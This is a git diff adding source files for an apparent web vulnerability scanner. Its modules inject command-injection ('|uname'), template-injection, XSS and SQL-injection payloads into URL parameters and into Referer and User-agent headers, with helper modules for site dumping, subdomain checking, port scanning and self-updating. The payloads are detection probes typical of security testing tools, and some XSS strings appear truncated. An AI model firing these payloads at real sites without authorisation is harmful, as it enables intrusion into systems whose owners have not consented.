cont != '': + exit() + elif cont != 'y': + exit() + x = 1 + break + if x == 0: + logger.info('Not vulnerable from RCE With GET Method') + else: + x = 0 + for params in url.split("?")[1].split("&"): + payloads=["|uname %23","'|uname %23",'"|uname %23'] + for payload in payloads: + for h in range(deco): + payload=urlencoder(payload) + sleep(slp) + r=requests.get(url.replace(params, params + str(payload).strip()),headers={'User-agent':uagent(cagent=cagent,one=True)},cookies=co,verify=vert,allow_redirects=redir,timeout=tim,proxies=proxy) + ch = re.findall('Linux'.encode('utf-8'),r.content) + if len(ch) > len(fir): + j=url.replace(params, params + str(payload).strip()) + print (f""" +\033[91m#{yellow}{bold}--------------------------------{end}\033[91m#{end} +{bold}{good}{bold} Bug Found : Remote Code Execution (RCE) +{bold}{info}{bold} Payload : {payload} +{bold}{info}{bold} Param : {params} +{bold}{info}{bold} Exploit : {j}{end} +\033[91m#{yellow}{bold}--------------------------------{end}\033[91m#{end}""") + if batch: + print('\n Continue ? [Y,n] Y') + else: + cont = input('\n Continue ? [Y,n]').lower() + if cont != '': + exit() + elif cont != 'y': + exit() + x = 1 + break + if x == 0: + logger.info('Not vulnerable from RCE With GET Method') + def ssti(self,url,co,tim,deco,vert,redir,cagent=None,proxy=None,slp=0,batch=None): + logger.info('Scanning from SSTI With GET Method') + if '*' in url: + logger.info('replacing (*) from url to payload') + x = 0 + payloads=['{{ 6*6 }}','<%= 6 * 6 %>','${6*6}'] + if slp != 0: + logger.debug(f'Sleeping {slp} sec') + sleep(slp) + te=requests.get(url.replace('*',''),headers={'User-agent':uagent(cagent=cagent)},cookies=co,verify=vert,allow_redirects=redir,timeout=tim,proxies=proxy) + fir = re.findall('36'.encode('utf-8'),te.content) + for payload in payloads: + for h in range(deco): + payload=urlencoder(payload) + sleep(slp) + r=requests.get(url.replace('*',str(payload).strip()),headers={'User-agent':uagent(cagent=cagent)},cookies=co,verify=vert,allow_redirects=redir,timeout=tim,proxies=proxy) + ch = re.findall('36'.encode('utf-8'),r.content) + if len(ch) > len(fir): + j=url.replace('*',str(payload).strip()) + print (f""" +\033[91m#{yellow}{bold}--------------------------------{end}\033[91m#{end} +{bold}{good}{bold} Bug Found : Template Injection +{bold}{info}{bold} Payload : {payload} +{bold}{info}{bold} Exploit : {j}{end} +\033[91m#{yellow}{bold}--------------------------------{end}\033[91m#{end}""") + if batch: + print('\n Continue ? [Y,n] Y') + else: + cont = input('\n Continue ? [Y,n]').lower() + if cont != '': + exit() + elif cont != 'y': + exit() + x = 1 + break + if x == 0: + logger.info('Not vulnerable from SSTI With GET Method') + elif '*' not in url: + if slp != 0: + logger.debug(f'Sleeping {slp} sec') + sleep(slp) + x = 0 + te=requests.get(url,headers={'User-agent':uagent(cagent=cagent)},cookies=co,verify=vert,allow_redirects=redir,timeout=tim,proxies=proxy) + fir = re.findall('36'.encode('utf-8'),te.content) + for params in url.split("?")[1].split("&"): + payloads=['{{6*6}}','<%= 6 * 6 %>','${6*6}'] + for payload in payloads: + for h in range(deco): + payload=urlencoder(payload) + sleep(slp) + r=requests.get(url.replace(params, params + str(payload).strip()),headers={'User-agent':uagent(cagent=cagent)},cookies=co,verify=vert,allow_redirects=redir,timeout=tim,proxies=proxy) + ch = re.findall('36'.encode('utf-8'),r.content) + if len(ch) > len(fir): + j=url.replace(params, params + str(payload).strip()) + print (f""" +\033[91m#{yellow}{bold}--------------------------------{end}\033[91m#{end} +{bold}{good}{bold} Bug Found : Template Injection +{bold}{info}{bold} Payload : {payload} +{bold}{info}{bold} Param : {params} +{bold}{info}{bold} Exploit : {j}{end} +\033[91m#{yellow}{bold}--------------------------------{end}\033[91m#{end}""") + if batch: + print('\n Continue ? [Y,n] Y') + else: + cont = input('\n Continue ? [Y,n]').lower() + if cont != '': + exit() + elif cont != 'y': + exit() + x = 1 + break + if x == 0: + logger.info('Not vulnerable from SSTI With GET Method') +class webscraper: # web scraper modules .. coming soon ^_^ + def __init__(self): + pass + def geturls(self,url): + pass # This module Bulid To Dump All urls in page EX : (",'"

Hacked by Err0r_HB

"',"'>"] + for payload in payloads: + if method == 'get': + sleep(slp) + r = requests.get(url,headers={"User-agent":uagent(cagent=cagent),"referrer":f"{payload}"},timeout=timeo,verify=vert,allow_redirects=redir,cookies=cookie,proxies=proxy) + sleep(slp) + r2 = requests.post(url,headers={"User-agent":uagent(cagent=cagent),"referrer":f"{payload}"},timeout=timeo,verify=vert,allow_redirects=redir,cookies=cookie,proxies=proxy) + if payload.encode("utf-8") in r.content: + print(f""" +\033[91m#{yellow}{bold}--------------------------------{end}\033[91m#{end} +{bold}{good}{bold} Bug Found : XSS (in referrer header) +{bold}{info}{bold} Payload : {payload} +{bold}{info}{bold} Method : [{end}{yellow}{bold}GET{end}{bold}] +{bold}{info}{bold} URL : {r.url}{end} +\033[91m#{yellow}{bold}--------------------------------{end}\033[91m#{end}""") + break + elif payload.encode("utf-8") in r2.content: + print(f""" +{bold}{good}{bold} Bug Found : XSS (in referrer header) +{bold}{info}{bold} Payload : {payload} +{bold}{info}{bold} Method : [{end}{yellow}{bold}POST{end}{bold}] +{bold}{info}{bold} URL : {r.url}{end}""") + break + else: + continue + else: + sleep(slp) + r = requests.post(url,headers={"User-agent":uagent(cagent=cagent),"referrer":f"{url} {payload}"},data=date,timeout=timeo,verify=vert,allow_redirects=redir,cookies=cookie,proxies=proxy) + if payload.encode('utf-8') in r.content: + print(f""" +\033[91m#{yellow}{bold}--------------------------------{end}\033[91m#{end} +{bold}{good}{bold} Bug Found : XSS (in referrer header) +{bold}{info}{bold} Payload : {payload} +{bold}{info}{bold} Method : [{end}{yellow}POST{end}{bold}] +{bold}{info}{bold} URL : {r.url}{end} +\033[91m#{yellow}{bold}--------------------------------{end}\033[91m#{end}""") + break + else: + continue + def referrer_sqli(url,cagent=None,timeo=None,cookie=None,redir=None,deco=None,vert=None,method=None,date=None,proxy=None,slp=0,batch=None): + payload=''''"''' + if method == 'get': + sleep(slp) + rr = requests.get(url,headers={"User-agent":uagent(cagent=cagent)},timeout=timeo,verify=vert,allow_redirects=redir,cookies=cookie,proxies=proxy) + sleep(slp) + rr2 = requests.post(url,headers={"User-agent":uagent(cagent=cagent)},timeout=timeo,verify=vert,allow_redirects=redir,cookies=cookie,proxies=proxy) + sleep(slp) + r = requests.get(url,headers={"User-agent":uagent(cagent=cagent),"referrer":f"{payload}"},timeout=timeo,verify=vert,allow_redirects=redir,proxies=proxy,cookies=cookie) + sleep(slp) + r2 = requests.post(url,headers={"User-agent":uagent(cagent=cagent),"referrer":f"{payload}"},timeout=timeo,verify=vert,allow_redirects=redir,cookies=cookie,proxies=proxy) + for d,e in errors.items(): + cch = re.findall(e.encode('utf-8'),rr.content) + cch2 = re.findall(e.encode('utf-8'),rr2.content) + ch = re.findall(e.encode('utf-8'),r.content) + ch2 = re.findall(e.encode('utf-8'),r2.content) + if len(cch) < len(ch): + print(f""" +\033[91m#{yellow}{bold}--------------------------------{end}\033[91m#{end} +{bold}{good}{bold} Bug Found : SQL Injection (in referrer header) +{bold}{info}{bold} Payload : {payload} +{bold}{info}{bold} Method : [{end}{yellow}GET{end}{bold}] +{bold}{info}{bold} Error : {e} +{bold}{info}{bold} URL : {r.url}{end} +\033[91m#{yellow}{bold}--------------------------------{end}\033[91m#{end}""") + break + elif len(cch2) < len(ch2): + print(f""" +\033[91m#{yellow}{bold}--------------------------------{end}\033[91m#{end} +{bold}{good}{bold} Bug Found : SQL Injection (in referrer header) +{bold}{info}{bold} Payload : {payload} +{bold}{info}{bold} Method : [{end}{yellow}POST{end}{bold}] +{bold}{info}{bold} Error : {e} +{bold}{info}{bold} URL : {r.url}{end} +\033[91m#{yellow}{bold}--------------------------------{end}\033[91m#{end}""") + break + else: + continue + else: + sleep(slp) + r2 = requests.post(url,headers={"User-agent":uagent(cagent=cagent)},data=date,timeout=timeo,verify=vert,allow_redirects=redir,cookies=cookie,proxies=proxy) + sleep(slp) + r = requests.post(url,headers={"User-agent":uagent(cagent=cagent),"referrer":f"{payload}"},data=date,timeout=timeo,verify=vert,allow_redirects=redir,cookies=cookie,proxies=proxy) + for d,e in errors.items(): + cch = re.findall(e.encode('utf-8'),r2.content) + ch = re.findall(e.encode('utf-8'),r.content) + if len(cch) < len(ch): + print(f""" +\033[91m#{yellow}{bold}--------------------------------{end}\033[91m#{end} +{bold}{good}{bold} Bug Found : SQL Injection (in referrer header) +{bold}{info}{bold} Payload : {payload} +{bold}{info}{bold} Method : [{end}{yellow}POST{end}{bold}] +{bold}{info}{bold} Error : {e} +{bold}{info}{bold} URL : {r.url}{end} +\033[91m#{yellow}{bold}--------------------------------{end}\033[91m#{end}""") + break + else: + continue + def referrer_rce(url,timeo=None,cookie=None,redir=None,deco=None,vert=None,method=None,date=None,cagent=None,proxy=None,slp=0,batch=None): + payloads = ["'|uname %23",'"|uname %23',"|uname %23"] + for payload in payloads: + if method == 'get': + sleep(slp) + rr = requests.get(url,headers={"User-agent":uagent(cagent=cagent,one=True)},timeout=timeo,verify=vert,allow_redirects=redir,cookies=cookie,proxies=proxy) + sleep(slp) + rr2 = requests.post(url,headers={"User-agent":uagent(cagent=cagent,one=True)},timeout=timeo,verify=vert,allow_redirects=redir,cookies=cookie,proxies=proxy) + sleep(slp) + r = requests.get(url,headers={"User-agent":uagent(cagent=cagent,one=True,payload=payload),"referrer":f"{payload}"},timeout=timeo,verify=vert,allow_redirects=redir,cookies=cookie,proxies=proxy) + sleep(slp) + r2 = requests.post(url,headers={"User-agent":uagent(cagent=cagent,one=True),"referrer":f"{payload}"},timeout=timeo,verify=vert,allow_redirects=redir,cookies=cookie,proxies=proxy) + cch = re.findall("Linux".encode('utf-8'),rr.content) + cch2 = re.findall("Linux".encode("utf-8"),rr2.content) + ch = re.findall('Linux'.encode('utf-8'),r.content) + ch2 = re.findall("Linux".encode("utf-8"),r2.content) + if len(ch) > len(cch): + print(f""" +\033[91m#{yellow}{bold}--------------------------------{end}\033[91m#{end} +{bold}{good}{bold} Bug Found : Remote Code Execution (in referrer header) +{bold}{info}{bold} Payload : {payload} +{bold}{info}{bold} Method : [{end}{yellow}GET{end}{bold}] +{bold}{info}{bold} URL : {r.url}{end} +\033[91m#{yellow}{bold}--------------------------------{end}\033[91m#{end}""") + elif len(ch2) > len(cch2): + print(f""" +\033[91m#{yellow}{bold}--------------------------------{end}\033[91m#{end} +{bold}{good}{bold} Bug Found : Remote Code Execution (in referrer header) +{bold}{info}{bold} Payload : {payload} +{bold}{info}{bold} Method : [{end}{yellow}POST{end}{bold}] +{bold}{info}{bold} URL : {r.url}{end} +\033[91m#{yellow}{bold}--------------------------------{end}\033[91m#{end}""") + else: + sleep(slp) + r2 = requests.post(url,headers={'User-agent':uagent(cagent=cagent,one=True)},data=date,timeout=timeo,verify=vert,allow_redirects=redir,cookies=cookie,proxies=proxy) + sleep(slp) + r = requests.post(url,headers={'User-agent':uagent(cagent=cagent,one=True),"referrer":f"{payload}"},data=date,timeout=timeo,verify=vert,allow_redirects=redir,cookies=cookie,proxies=proxy) + ch = re.findall("Linux".encode("utf-8"),r.content) + cch = re.findall("Linux".encode("utf-8"),r2.content) + if len(ch) > len(cch): + print(f""" +\033[91m#{yellow}{bold}--------------------------------{end}\033[91m#{end} +{bold}{good}{bold} Bug Found : Remote Code Execution (in referrer header) +{bold}{info}{bold} Payload : {payload} +{bold}{info}{bold} Method : [{end}{yellow}POST{end}{bold}] +{bold}{info}{bold} URL : {r.url}{end} +\033[91m#{yellow}{bold}--------------------------------{end}\033[91m#{end}""") + def referrer_ssti(url,timeo=None,cookie=None,redir=None,deco=None,vert=None,method=None,date=None,cagent=None,proxy=None,slp=0,batch=None): + payloads=['{{ 6*6 }}','<%= 6 * 6 %>','${6*6}'] + for payload in payloads: + if method == 'get': + sleep(slp) + rr = requests.get(url,headers={"User-agent":uagent(cagent=cagent)},timeout=timeo,verify=vert,allow_redirects=redir,cookies=cookie,proxies=proxy) + sleep(slp) + rr2 = requests.post(url,headers={"User-agent":uagent(cagent=cagent)},timeout=timeo,verify=vert,allow_redirects=redir,cookies=cookie,proxies=proxy) + sleep(slp) + r = requests.get(url,headers={"User-agent":uagent(cagent=cagent),"referrer":f"{payload}"},timeout=timeo,verify=vert,allow_redirects=redir,cookies=cookie,proxies=proxy) + sleep(slp) + r2 = requests.post(url,headers={"User-agent":uagent(cagent=cagent),"referrer":f"{payload}"},timeout=timeo,verify=vert,allow_redirects=redir,cookies=cookie,proxies=proxy) + cch = re.findall("36".encode('utf-8'),rr.content) + cch2 = re.findall("36".encode("utf-8"),rr2.content) + ch = re.findall('36'.encode('utf-8'),r.content) + ch2 = re.findall("36".encode("utf-8"),r2.content) + if len(ch) > len(cch): + print (f""" +\033[91m#{yellow}{bold}--------------------------------{end}\033[91m#{end} +{bold}{good}{bold} Bug Found : Template Injection (in referrer header) +{bold}{info}{bold} Payload : {payload} +{bold}{info}{bold} Method : [{yellow}{bold}GET{end}{bold}] +{bold}{info}{bold} URL : {url}{end} +\033[91m#{yellow}{bold}--------------------------------{end}\033[91m#{end}""") + break + elif len(ch2) > len(cch2): + print (f""" +\033[91m#{yellow}{bold}--------------------------------{end}\033[91m#{end} +{bold}{good}{bold} Bug Found : Template Injection (in referrer header) +{bold}{info}{bold} Payload : {payload} +{bold}{info}{bold} Method : [{yellow}{bold}POST{end}{bold}] +{bold}{info}{bold} URL : {url}{end} +\033[91m#{yellow}{bold}--------------------------------{end}\033[91m#{end}""") + break + else: + sleep(slp) + r2 = requests.post(url,headers={"User-agent":uagent(cagent=cagent)},data=date,timeout=timeo,verify=vert,allow_redirects=redir,cookies=cookie,proxies=proxy) + sleep(slp) + r = requests.post(url,headers={"User-agent":uagent(cagent=cagent),"referrer":f"{payload}"},data=date,timeout=timeo,verify=vert,allow_redirects=redir,cookies=cookie,proxies=proxy) + ch = re.findall("Linux".encode("utf-8"),r.content) + cch = re.findall("Linux".encode("utf-8"),r2.content) + if len(ch) > len(cch): + print (f""" +\033[91m#{yellow}{bold}--------------------------------{end}\033[91m#{end} +{bold}{good}{bold} Bug Found : Template Injection (in referrer header) +{bold}{info}{bold} Payload : {payload} +{bold}{info}{bold} Method : [{yellow}{bold}POST{end}{bold}] +{bold}{info}{bold} URL : {url}{end} +\033[91m#{yellow}{bold}--------------------------------{end}\033[91m#{end}""") + break + def user_agent_xss(url,timeo=None,cookie=None,redir=None,deco=None,vert=None,method=None,date=None,cagent=None,proxy=None,slp=0,batch=None): + payloads=['"

Hacked by Err0r_HB

"','">TechViper','">
MOVE HERE
','">','">','',"'>"] + for payload in payloads: + if method == 'get': + sleep(slp) + r = requests.get(url,headers={"User-agent":uagent(cagent=cagent,payload=payload)},timeout=timeo,verify=vert,allow_redirects=redir,cookies=cookie,proxies=proxy) + sleep(slp) + r2 = requests.post(url,headers={"User-agent":uagent(cagent=cagent,payload=payload)},timeout=timeo,verify=vert,allow_redirects=redir,cookies=cookie,proxies=proxy) + if payload.encode('utf-8') in r.content: + print(f""" +\033[91m#{yellow}{bold}--------------------------------{end}\033[91m#{end} +{bold}{good}{bold} Bug Found : XSS (in User-agent header) +{bold}{info}{bold} Payload : {payload} +{bold}{info}{bold} Method : [{end}{yellow}GET{end}{bold}] +{bold}{info}{bold} URL : {r.url}{end} +\033[91m#{yellow}{bold}--------------------------------{end}\033[91m#{end}""") + break + elif payload.encode('utf-8') in r2.content: + print(f""" +\033[91m#{yellow}{bold}--------------------------------{end}\033[91m#{end} +{bold}{good}{bold} Bug Found : XSS (in User-agent header) +{bold}{info}{bold} Payload : {payload} +{bold}{info}{bold} Method : [{end}{yellow}POST{end}{bold}] +{bold}{info}{bold} URL : {r.url}{end} +\033[91m#{yellow}{bold}--------------------------------{end}\033[91m#{end}""") + break + else: + sleep(slp) + r = requests.post(url,headers={"User-agent":uagent(cagent=cagent,payload=payload)},data=date,timeout=timeo,verify=vert,allow_redirects=redir,cookies=cookie,proxies=proxy) + if payload.encode('utf-8') in r.content: + print(f""" +\033[91m#{yellow}{bold}--------------------------------{end}\033[91m#{end} +{bold}{good}{bold} Bug Found : XSS (in User-agent header) +{bold}{info}{bold} Payload : {payload} +{bold}{info}{bold} Method : [{end}{yellow}POST{end}{bold}] +{bold}{info}{bold} URL : {r.url}{end} +\033[91m#{yellow}{bold}--------------------------------{end}\033[91m#{end}""") + break + def user_agent_sqli(url,timeo=None,cookie=None,redir=None,deco=None,vert=None,method=None,date=None,cagent=None,proxy=None,slp=0,batch=None): + payload='"' + if method == 'get': + sleep(slp) + rr = requests.get(url,headers={"User-agent":uagent(cagent=cagent)},timeout=timeo,verify=vert,allow_redirects=redir,cookies=cookie,proxies=proxy) + sleep(slp) + rr2 = requests.post(url,headers={"User-agent":uagent(cagent=cagent)},timeout=timeo,verify=vert,allow_redirects=redir,cookies=cookie,proxies=proxy) + sleep(slp) + r = requests.get(url,headers={"User-agent":uagent(cagent=cagent,payload=payload)},timeout=timeo,verify=vert,allow_redirects=redir,proxies=proxy,cookies=cookie) + sleep(slp) + r2 = requests.post(url,headers={"User-agent":uagent(cagent=cagent,payload=payload)},timeout=timeo,verify=vert,allow_redirects=redir,proxies=proxy,cookies=cookie) + for d,e in errors.items(): + cch = re.findall(e.encode('utf-8'),rr.content) + cch2 = re.findall(e.encode("utf-8"),rr2.content) + ch = re.findall(e.encode('utf-8'),r.content) + ch2 = re.findall(e.encode("utf-8"),r2.content) + if len(ch) > len(cch): + print(f""" +\033[91m#{yellow}{bold}--------------------------------{end}\033[91m#{end} +{bold}{good}{bold} Bug Found : SQL Injection (in User-agent header) +{bold}{info}{bold} Payload : {payload} +{bold}{info}{bold} Method : [{end}{yellow}GET{end}{bold}] +{bold}{info}{bold} Error : {e} +{bold}{info}{bold} URL : {r.url}{end} +\033[91m#{yellow}{bold}--------------------------------{end}\033[91m#{end}""") + break + elif len(ch2) > len(cch2): + print(f""" +\033[91m#{yellow}{bold}--------------------------------{end}\033[91m#{end} +{bold}{good}{bold} Bug Found : SQL Injection (in User-agent header) +{bold}{info}{bold} Payload : {payload} +{bold}{info}{bold} Method : [{end}{yellow}POST{end}{bold}] +{bold}{info}{bold} Error : {e} +{bold}{info}{bold} URL : {r.url}{end} +\033[91m#{yellow}{bold}--------------------------------{end}\033[91m#{end}""") + break + else: + sleep(slp) + r2 = requests.post(url,headers={"User-agent":uagent(cagent=cagent)},data=date,timeout=timeo,verify=vert,allow_redirects=redir,cookies=cookie,proxies=proxy) + sleep(slp) + r = requests.post(url,headers={"User-agent":uagent(cagent=cagent,payload=payload)},data=date,timeout=timeo,verify=vert,allow_redirects=redir,cookies=cookie,proxies=proxy) + for d,e in errors.items(): + ch = re.findall(e.encode("utf-8"),r.content) + cch = re.findall(e.encode("utf-8"),r2.content) + if len(ch) > len(cch): + print(f""" +\033[91m#{yellow}{bold}--------------------------------{end}\033[91m#{end} +{bold}{good}{bold} Bug Found : SQL Injection (in User-agent header) +{bold}{info}{bold} Payload : {payload} +{bold}{info}{bold} Method : [{end}{yellow}POST{end}{bold}] +{bold}{info}{bold} Error : {e} +{bold}{info}{bold} URL : {r.url}{end} +\033[91m#{yellow}{bold}--------------------------------{end}\033[91m#{end}""") + break + def user_agent_rce(url,timeo=None,cookie=None,redir=None,deco=None,vert=None,method=None,date=None,cagent=None,proxy=None,slp=0,batch=None): + payloads = ["'|uname %23",'"|uname %23',"|uname %23"] + for payload in payloads: + if method == 'get': + sleep(slp) + rr = requests.get(url,headers={"User-agent":uagent(cagent=cagent,one=True)},timeout=timeo,verify=vert,allow_redirects=redir,cookies=cookie,proxies=proxy) + sleep(slp) + rr2 = requests.post(url,headers={"User-agent":uagent(cagent=cagent,one=True)},timeout=timeo,verify=vert,allow_redirects=redir,cookies=cookie,proxies=proxy) + sleep(slp) + r = requests.get(url,headers={"User-agent":uagent(cagent=cagent,one=True,payload=payload)},timeout=timeo,verify=vert,allow_redirects=redir,cookies=cookie,proxies=proxy) + sleep(slp) + r2 = requests.post(url,headers={"User-agent":uagent(cagent=cagent,one=True,payload=payload)},timeout=timeo,verify=vert,allow_redirects=redir,cookies=cookie,proxies=proxy) + cch = re.findall('Linux'.encode('utf-8'),rr.content) + cch2 = re.findall('Linux'.encode("utf-8"),rr2.content) + ch = re.findall('Linux'.encode('utf-8'),r.content) + ch2 = re.findall('Linux'.encode("utf-8"),r2.content) + if len(ch) > len(cch): + print(f""" +\033[91m#{yellow}{bold}--------------------------------{end}\033[91m#{end} +{bold}{good}{bold} Bug Found : Remote Code Execution (in User-agent header) +{bold}{info}{bold} Payload : {payload} +{bold}{info}{bold} Method : [{end}{yellow}GET{end}{bold}] +{bold}{info}{bold} URL : {r.url}{end} +\033[91m#{yellow}{bold}--------------------------------{end}\033[91m#{end}""") + elif len(ch2) > len(cch2): + print(f""" +\033[91m#{yellow}{bold}--------------------------------{end}\033[91m#{end} +{bold}{good}{bold} Bug Found : Remote Code Execution (in User-agent header) +{bold}{info}{bold} Payload : {payload} +{bold}{info}{bold} Method : [{end}{yellow}POST{end}{bold}] +{bold}{info}{bold} URL : {r.url}{end} +\033[91m#{yellow}{bold}--------------------------------{end}\033[91m#{end}""") + else: + sleep(slp) + r2 = requests.post(url,headers={"User-agent":uagent(cagent=cagent,one=True)},data=date,timeout=timeo,verify=vert,allow_redirects=redir,cookies=cookie,proxies=proxy) + sleep(slp) + r = requests.post(url,headers={"User-agent":uagent(cagent=cagent,one=True,payload=payload)},data=date,timeout=timeo,verify=vert,allow_redirects=redir,cookies=cookie,proxies=proxy) + ch = re.findall('Linux'.encode("utf-8"),r.content) + cch = re.findall('Linux'.encode("utf-8"),r2.content) + if len(ch) > len(cch): + print(f""" +\033[91m#{yellow}{bold}--------------------------------{end}\033[91m#{end} +{bold}{good}{bold} Bug Found : Remote Code Execution (in User-agent header) +{bold}{info}{bold} Payload : {payload} +{bold}{info}{bold} Method : [{end}{yellow}POST{end}{bold}] +{bold}{info}{bold} URL : {r.url}{end} +\033[91m#{yellow}{bold}--------------------------------{end}\033[91m#{end} +""") diff --git a/core/updater.py b/core/updater.py new file mode 100644 index 0000000..7974efb --- /dev/null +++ b/core/updater.py @@ -0,0 +1,39 @@ +import os +import re +from requests import get + +from core.config import changes +from core.colors import run, que, good, info, end, green +from core.log import setup_logger + +logger = setup_logger(__name__) + + +def updater(): + logger.run('Checking for updates') + latestCommit = get( + 'https://raw.githubusercontent.com/Malwareman007/TechViper/main/core/config.py').text + + if changes not in latestCommit: # just a hack to see if a new version is available + changelog = re.search(r"changes = '''(.*?)'''", latestCommit) + changelog = changelog.group(1).split( + ';') # splitting the changes to form a list + logger.good('A new version of TechViper is available.') + changes_str = 'Changes:\n' + for change in changelog: # prepare changes to print + changes_str += '%s>%s %s\n' % (green, end, change) + logger.info(changes_str) + currentPath = os.getcwd().split('/') # if you know it, you know it + folder = currentPath[-1] # current directory name + path = '/'.join(currentPath) # current directory path + choice = input('%s Would you like to update? [Y/n] ' % que).lower() + + if choice != 'n': + logger.run('Updating Malwareman007') + os.system( + 'git clone --quiet https://github.com/Malwareman007/TechViper %s' % (folder)) + os.system('cp -r %s/%s/* %s && rm -r %s/%s/ 2>/dev/null' % + (path, folder, path, path, folder)) + logger.good('Update successful!') + else: + logger.good('TechViper is up to date!') diff --git a/modules/__init__.py b/modules/__init__.py new file mode 100644 index 0000000..8b13789 --- /dev/null +++ b/modules/__init__.py @@ -0,0 +1 @@ + diff --git a/modules/dumper.py b/modules/dumper.py new file mode 100644 index 0000000..9840d64 --- /dev/null +++ b/modules/dumper.py @@ -0,0 +1,56 @@ +#!/usr/bin/env python3 +from modules.techviper import Module,colors,thetime +def data(): # The all data of module + data = { + 'name': 'Dumper', + 'description':''' +Dump Everything in website (img , links , js , etc ..) + ''', + 'date':'18-06-2023', + 'license':'MIT', + 'authors':[ + 'Malwareman007'], + 'emails':[ + 'Malwareman007@gmail.com'], + 'list_support': True, + 'options':[ + 'url', + 'threads', + 'timeout' + ] + } + return data +class script: + def __init__(self): + pass + def run(self,options): + import requests + from bs4 import BeautifulSoup + f = options['file'] + for url in f: + if url.startswith('http://') or url.startswith('https://'): + pass + else: + url = f'http://{url}' + print(f"{colors().info} [ {url.strip()} ]") + base_url = url.strip() + try: + r = requests.get(base_url,verify=False,timeout=options['timeout']) + soup = BeautifulSoup(r.text) + l = { + 'img':'src', + 'script':'src', + 'link':'href', + 'a':'href', + 'input':'name', + } + for tag,ty in l.items(): + print(f'\n\n{colors().red}+={colors().yellow}------{base_url}--[{tag}]----------{colors().red}=+{colors().end}') + for src in soup.find_all(tag): + try: + print(src[ty]) + except: + continue + print(f'{colors().red}#{colors().yellow}----------------------{colors().red}#{colors().end}') + except: + pass diff --git a/modules/httpre.py b/modules/httpre.py new file mode 100644 index 0000000..e1d682c --- /dev/null +++ b/modules/httpre.py @@ -0,0 +1,54 @@ +#!/usr/bin/env python3 +from modules.techviper import Module,colors,thetime +def data(): # The all data of module + data = { + 'name': 'httpre', + 'description':''' +Get a live subdomains + ''', + 'date':'18-06-2023', + 'license':'MIT', + 'authors':[ + 'Malwareman007'], + 'emails':[ + 'Malwareman007@protonmail.com'], + 'list_support': True, + 'options':[ + 'url', + 'threads', + 'timeout' + ] + } + return data +class script: + def __init__(self): + global q + from queue import Queue + q = Queue() + def threader(): + item = q.get() + script.opener(item) + q.task_done() + def opener(domain): + import requests + try: + r = requests.get(f'http://{domain.strip()}',timeout=timeout,verify=False,allow_redirects=False) + print(f'{colors().good} Live : {domain.strip()}') + f = open(name,'a') + f.write(f'\nhttp://{domain.strip()}') + f.close() + except: + print(f'{colors().bad} {domain.strip()}') + def run(self,options): + global timeout,name + import os + name = f'{os.getcwd()}/TecchViper_done_{thetime(t="yes").second}_{thetime(t="yes").minute}.txt' + timeout = options['timeout'] + from threading import Thread + for thr in range(options['threads']): + p1 = Thread(target=script.threader) + p1.daemon = True + p1.start() + for url in options['file']: + q.put(url.strip()) + q.join() diff --git a/modules/nmaper.py b/modules/nmaper.py new file mode 100644 index 0000000..c7418c0 --- /dev/null +++ b/modules/nmaper.py @@ -0,0 +1,28 @@ +#!/usr/bin/env python3 +from modules.techviper import Module,colors +def data(): # The all data of module + data = { + 'name': 'port scanning', + 'description':''' +Make Port scanning processe using Hackertarget api +With This module you can scan all hosts using NMAP Tool Online + ''', + 'date':'18-06-2023', + 'license':'MIT', + 'authors':[ + 'Malwareman007'], + 'emails':[ + 'Malwareman007@protonmail.com'], + 'list_support': False, + 'options':[ + 'url' + ] + } + return data +class script: + def __init__(self): + pass + def run(self,options): + import requests + r = requests.get('https://api.hackertarget.com/nmap/?q='+options['url'].split('/')[2]) + print(r.text) diff --git a/modules/robot.py b/modules/robot.py new file mode 100644 index 0000000..4f4287b --- /dev/null +++ b/modules/robot.py @@ -0,0 +1,58 @@ +#!/usr/bin/env python3 +from modules.techviper import Module,colors,thetime +def data(): # The all data of module + data = { + 'name': 'Robot Man', + 'description':''' +Find Robots File + ''', + 'date':'18-06-2023', + 'license':'MIT', + 'authors':[ + 'Malwareman007'], + 'emails':[ + 'Malwareman007@protonmail.com'], + 'list_support': True, + 'options':[ + 'url', + 'threads', + 'timeout' + ] + } + return data +class script: + def __init__(self): + global q + from queue import Queue + q = Queue() + def threader(): + item = q.get() + script.opener(item) + q.task_done() + def opener(domain): + import requests + try: + if domain.strip().endswith('/'): + ro = 'robots.txt' + else: + ro = '/robots.txt' + r = requests.get(f'{domain.strip()}{ro}',timeout=timeout,verify=False,allow_redirects=False) + if r.status_code == 200: + print(f'{colors().good} Found : {r.url}') + print(r.text) + print('\n----------------------------\n') + except: + pass +# print(f'{colors().bad} {domain.strip()}') + def run(self,options): + global timeout,name + import os + timeout = options['timeout'] + from threading import Thread + for thr in range(options['threads']): + p1 = Thread(target=script.threader) + p1.daemon = True + p1.start() + for url in options['file']: + q.put(url.strip()) + q.join() \ No newline at end of file diff --git a/modules/techviper.py b/modules/techviper.py new file mode 100644 index 0000000..918f530 --- /dev/null +++ b/modules/techviper.py @@ -0,0 +1,65 @@ + +__author__ = 'Malwareman007' +__version__ = '1.0' +__github__ = 'https://github.com/Malwareman/TechViper' +__email__ = 'malwareman007@protonmail.com' +__blog__ = 'https://techviper.webwatcher.tech/' + +import importlib +import sys +import os +import platform +from datetime import datetime +class colors: + def __init__(self): + colors = True + machine = sys.platform # Detecting the os of current system + checkplatform = platform.platform() # Get current version of OS + if machine.lower().startswith(('os', 'win', 'darwin', 'ios')): + colors = False # Colors shouldn't be displayed in mac & windows + if checkplatform.startswith("Windows-10") and int(platform.version().split(".")[2]) >= 10586: + colors = True + os.system('') # Enables the ANSI + if not colors: + end = red = white = green = yellow = run = bad = good = bold = info = que = '' + else: + self.white = '\033[97m' + self.green = '\033[92m' + self.red = '\033[91m' + self.yellow = '\033[93m' + self.end = '\033[0m' + self.back = '\033[7;91m' + self.bold = '\033[1m' + self.blue = '\033[94m' + self.info = '\033[93m[!]\033[0m' + self.que = '\033[94m[?]\033[0m' + self.bad = '\033[91m[-]\033[0m' + self.good = '\033[92m[+]\033[0m' + self.run = '\033[97m[~]\033[0m' + self.grey = '\033[7;90m' +def thetime(t=None): + now = datetime.now() + if t: + return now + return f'{colors().bold}{colors().blue}[{colors().end}{colors().bold}{now.hour}:{now.minute}:{now.second}{colors().blue}{colors().bold}]{colors().end}' +class Module: + def __init__(): + pass + def printer(what,msg): + if what.lower() == 'information': + print(thetime()+f' {colors().bold}[{colors().green}INFO{colors().end}] {msg}{colors().end}') + elif what.lower() == 'error': + print(thetime()+f' {colors().bold}[\033[91m{colors().bold}CRITICAL{colors().end}] {colors().bold}{msg}{colors().end}') + elif what.lower() == 'warring': + print(thetime()+f' {colors().bold}[{colors().yellow}{colors().bold}WARRING{colors().end}] 